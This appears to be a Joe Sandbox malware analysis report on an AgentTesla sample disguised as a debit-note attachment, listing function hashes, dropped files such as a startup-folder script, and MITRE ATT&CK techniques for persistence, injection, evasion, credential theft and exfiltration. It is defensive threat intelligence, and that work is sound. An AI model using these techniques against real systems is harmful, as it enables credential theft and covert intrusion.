Opcode Fuzzy Hash: 126a7df95a1bec31226ed1cb329e61994e9d9c1685971416e8667f865f497afe
Instruction Fuzzy Hash: 1FA1CB74E05218CFEB58DFA9D884B9EBBB6FB49300F10907AD409A7395DB306946CF50

Function 0660B5F8 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

pbq, xrefs: 0660B6A8

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: 3f35ce4054860377edb93075fe939078e73de4a4d879b1cd998e6274dac976e8
Instruction ID: c3ef7abed26db619d316a9016c9374ca21cd6fe3461ec4909be1618eb1d918a8
Opcode Fuzzy Hash: 3f35ce4054860377edb93075fe939078e73de4a4d879b1cd998e6274dac976e8
Instruction Fuzzy Hash: B7512C76600104AFDB499FA8C915D297BB7FF8C3147198494E2099B376DA32DC22EB51

Function 06470ED0 Relevance: 1.3, APIs: 1, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 06470F43

Memory Dump Source

Source File: 0000000F.00000002.2190618500.0000000006470000.00000040.00000800.00020000.00000000.sdmp, Offset: 06470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6470000_app.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d21ec9db6c20e431d5cecbb773adfdbdc4a3ca480300162956a38d1620ba9934
Instruction ID: 6514a66bb45d7bc19db58e8af500a90190c4a8f63389a6d1128cc5b3774e2694
Opcode Fuzzy Hash: d21ec9db6c20e431d5cecbb773adfdbdc4a3ca480300162956a38d1620ba9934
Instruction Fuzzy Hash: 8F216876900209DFCB10DFA9D841AEEFFB1EF88320F20842AE859A7210C775A955CF91

Function 06470ED8 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 06470F43

Memory Dump Source

Source File: 0000000F.00000002.2190618500.0000000006470000.00000040.00000800.00020000.00000000.sdmp, Offset: 06470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6470000_app.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d16b7dbbae56d3e18f88510eab8e8a6ef19a3a64f21231c53ed4cc2516189161
Instruction ID: 8379af7ae36ea40fe4a7d75882c643759456deb117c6f54593b40b6755070633
Opcode Fuzzy Hash: d16b7dbbae56d3e18f88510eab8e8a6ef19a3a64f21231c53ed4cc2516189161
Instruction Fuzzy Hash: 2E1134B19002488FCB10DFAAC845BDEFFF5EB88324F20881AE559A7250CB75A544CFA4

Function 0660F660 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4678b75057335253ec237a5613e033aa9acfd2406c70d673f53cef4e75bf379
Instruction ID: ba15e4c537ccdb0dbddc6ed1a56a4ceb7cb4aea1f135ceb31832bbabe427ae36
Opcode Fuzzy Hash: e4678b75057335253ec237a5613e033aa9acfd2406c70d673f53cef4e75bf379
Instruction Fuzzy Hash: 6A215E31E10209DFEBA8DF79D5047AF7BF4AB44240F108076D919D7290E734DA55CB92

Function 0660C750 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 711d173619de1dbb9da264454b298ac98f8a7f52102e6119c5da2b81e15e5a18
Instruction ID: 93cfbf677235f30eba557ec706a1cb0be87ad252b91616587375d494b610dfdf
Opcode Fuzzy Hash: 711d173619de1dbb9da264454b298ac98f8a7f52102e6119c5da2b81e15e5a18
Instruction Fuzzy Hash: 81119135B002149FEB649F69DC41BAF7BF6AB88A10F14422AE515D73C0DB70D941CBA1

Function 0660C760 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 026f6c842e8730ea842439cc5ea642ef6ffa61f029fa68eaeeab9c799d23e2ad
Instruction ID: a340083e87d927e51f5e6b0d912c441708f806e40b315b774bffe8ab9eae32e7
Opcode Fuzzy Hash: 026f6c842e8730ea842439cc5ea642ef6ffa61f029fa68eaeeab9c799d23e2ad
Instruction Fuzzy Hash: 1F117035F002049FEB949FA99814BAF7BF6AB88700F14413AE505DB380EB71D941CBA1

Function 0660B7D0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a48c4866b8d7ebb95ed6fadefab8ebdf2192e04d1244af1e88cab8d2d8311f43
Instruction ID: 54bfba73e399bb72270d4e66d6549fb0a08b2f45e4a54360a0ebb4884e090996
Opcode Fuzzy Hash: a48c4866b8d7ebb95ed6fadefab8ebdf2192e04d1244af1e88cab8d2d8311f43
Instruction Fuzzy Hash: 12F0FC71F452516FF3558B14D81072BBBA5DFC9710F088066DA05DB3A5C677AC42C790

Function 0660B7E0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6bd579c41b59607950843cbff429a7a7257c6584f0fb3c3539afcd00479e1af
Instruction ID: 6ba84109bfb7ac209a06f9e8ad6cba74780f3d38ffbe5e74e53d41e6b1cedd7d
Opcode Fuzzy Hash: d6bd579c41b59607950843cbff429a7a7257c6584f0fb3c3539afcd00479e1af
Instruction Fuzzy Hash: 62F0E971F452116FF7588A18D81072BF7AAEBC8710F148439D6059B3A0DA73AC42C7C0

Function 066087C7 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb17f344cf85207cf6ab01b488c46b68c15c63f5625a43df53678709030919a
Instruction ID: 692bca310620bc48699f1103a155905ee58c8a747f12c55cc34c2247c2b0183e
Opcode Fuzzy Hash: 8bb17f344cf85207cf6ab01b488c46b68c15c63f5625a43df53678709030919a
Instruction Fuzzy Hash: 0D01BB70E05285DFEB48DF99D8447EEB7B2EB89300F0480B99509AB799DB305C46CF50

Function 0660A6F8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a2f02b4e09b2c639328c6ec931a3ebb64d3cecb84b0799e1fbe12654ad43682
Instruction ID: 13cdb144b5f2823d8e1bce8f7785601870a11933aaf2faa8ca80603c8b5a1c35
Opcode Fuzzy Hash: 1a2f02b4e09b2c639328c6ec931a3ebb64d3cecb84b0799e1fbe12654ad43682
Instruction Fuzzy Hash: 49F05874D09308AFDB85DFA8D94129CBBB4EB49240F00C0EAD84897392D630AA02CB41

Function 06608618 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a87da7fdc6212134db4900942e37407d084929de628e43e81d47c588ef27631c
Instruction ID: 05c446c5b7d13827cf8bf9d3f7756f1938a52c50baebf66fc3db3c2411faa854
Opcode Fuzzy Hash: a87da7fdc6212134db4900942e37407d084929de628e43e81d47c588ef27631c
Instruction Fuzzy Hash: D3F0E270A00259CFEB98DF24E89479D7BB2EF46310F5044A9E11AA7792CF306DC99F05

Function 0660A708 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68de187ae1fafb35d531d97fd8b98b6bb91ef0a360f01cf34eeb65c3f63b519e
Instruction ID: 71ed431f43fb2a170b9e27e80a819a9365bc8f7d100d414d3d1de24518a694a7
Opcode Fuzzy Hash: 68de187ae1fafb35d531d97fd8b98b6bb91ef0a360f01cf34eeb65c3f63b519e
Instruction Fuzzy Hash: A9E0ED74E05208EFC784DFE8D5406ADBBF4EB48340F10C1A9980893341D6316E02CF40

Function 0660876E Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee32e975fea779ab62683f7330afb623e4cdb2832f4a22a4b450d0f26ac2acd4
Instruction ID: 51309160ec0261e9387d93bb3a69ffd09b84b8c1ebf8fbe7db6e3d1bd39f525c
Opcode Fuzzy Hash: ee32e975fea779ab62683f7330afb623e4cdb2832f4a22a4b450d0f26ac2acd4
Instruction Fuzzy Hash: E3E0C970904118DBDB949F20D8897DD7BB1EB89311F104095D70967340DA341DC98F45

Function 066086E0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49aca560264f38465702536136657127d68382876d300e4d884a530183147269
Instruction ID: 748daa9e2493abd84123ef307983e1dbd402a852f0060f149a78564f2c6cfab5
Opcode Fuzzy Hash: 49aca560264f38465702536136657127d68382876d300e4d884a530183147269
Instruction Fuzzy Hash: C9E09A70A00295DFDB64DF14D85479EBBB2EB45700F0081AA9A0A67394CB345D86DF56

Function 0660868A Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c41b4050a25b64c63d9ffd7a815053aeb57166ac8db061a34cf8204720ee33b
Instruction ID: 97fafc9675ac6c2b17e1aa0b055c131a9033adc2532fa15b2da204c7b9c6ed65
Opcode Fuzzy Hash: 9c41b4050a25b64c63d9ffd7a815053aeb57166ac8db061a34cf8204720ee33b
Instruction Fuzzy Hash: 35E0E574A002589BDBD4DB10D89479D7A73EB45300F10809A960A633A0CB345EC9CF42

Function 06608430 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 425ad34f2f3c8931094a858388035f1a289b8d68259cedc837afe73014356f39
Instruction ID: 93862fd7db58b38f96777332331729e0590f1ece4373eaa087ab8cd8def6af15
Opcode Fuzzy Hash: 425ad34f2f3c8931094a858388035f1a289b8d68259cedc837afe73014356f39
Instruction Fuzzy Hash: 01E01A34A002259FDB54EF10D8847DD7B72FF59300F1000A9A64A63341DB701EC4DF02

Function 0660F630 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c1134afdc984006cbb8ff94b7ca844b72ca279ae9b407485e89f7d5c5b9bd87
Instruction ID: 982eea36329c71b1f4403e46dee3584904f5f327d019b8bb5d808b234b98d814
Opcode Fuzzy Hash: 1c1134afdc984006cbb8ff94b7ca844b72ca279ae9b407485e89f7d5c5b9bd87
Instruction Fuzzy Hash: 51C08CB080F3C10EC3178B20C908506BFB29B52240F0784FBD2C1870A2D7741C14C722

Function 0660C73B Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2192052989.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6600000_app.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8fb404c969a6eb182b457093aed01d8b47cfdc475e736e0194fdc4644c28080
Instruction ID: 516667f4d21dcbb60fbe440867b183853199705e541435ad75bd34b50309269a
Opcode Fuzzy Hash: c8fb404c969a6eb182b457093aed01d8b47cfdc475e736e0194fdc4644c28080
Instruction Fuzzy Hash: 2FA00235E813006EFF50AE50AD1BB4C3511A7C1F01F642041734AAF5C1C6D160D0C55D

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Debit note -MSR_2024_0024- and Attachments.com.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bfwiqfsi.xzm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hqyah5qh.bu0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nsijr1mf.1lx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xtgjbesy.trd.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs

C:\Users\user\AppData\Roaming\app.exe

C:\Users\user\AppData\Roaming\app.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
Debit note -MSR_2024_0024- and Attachments.com.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre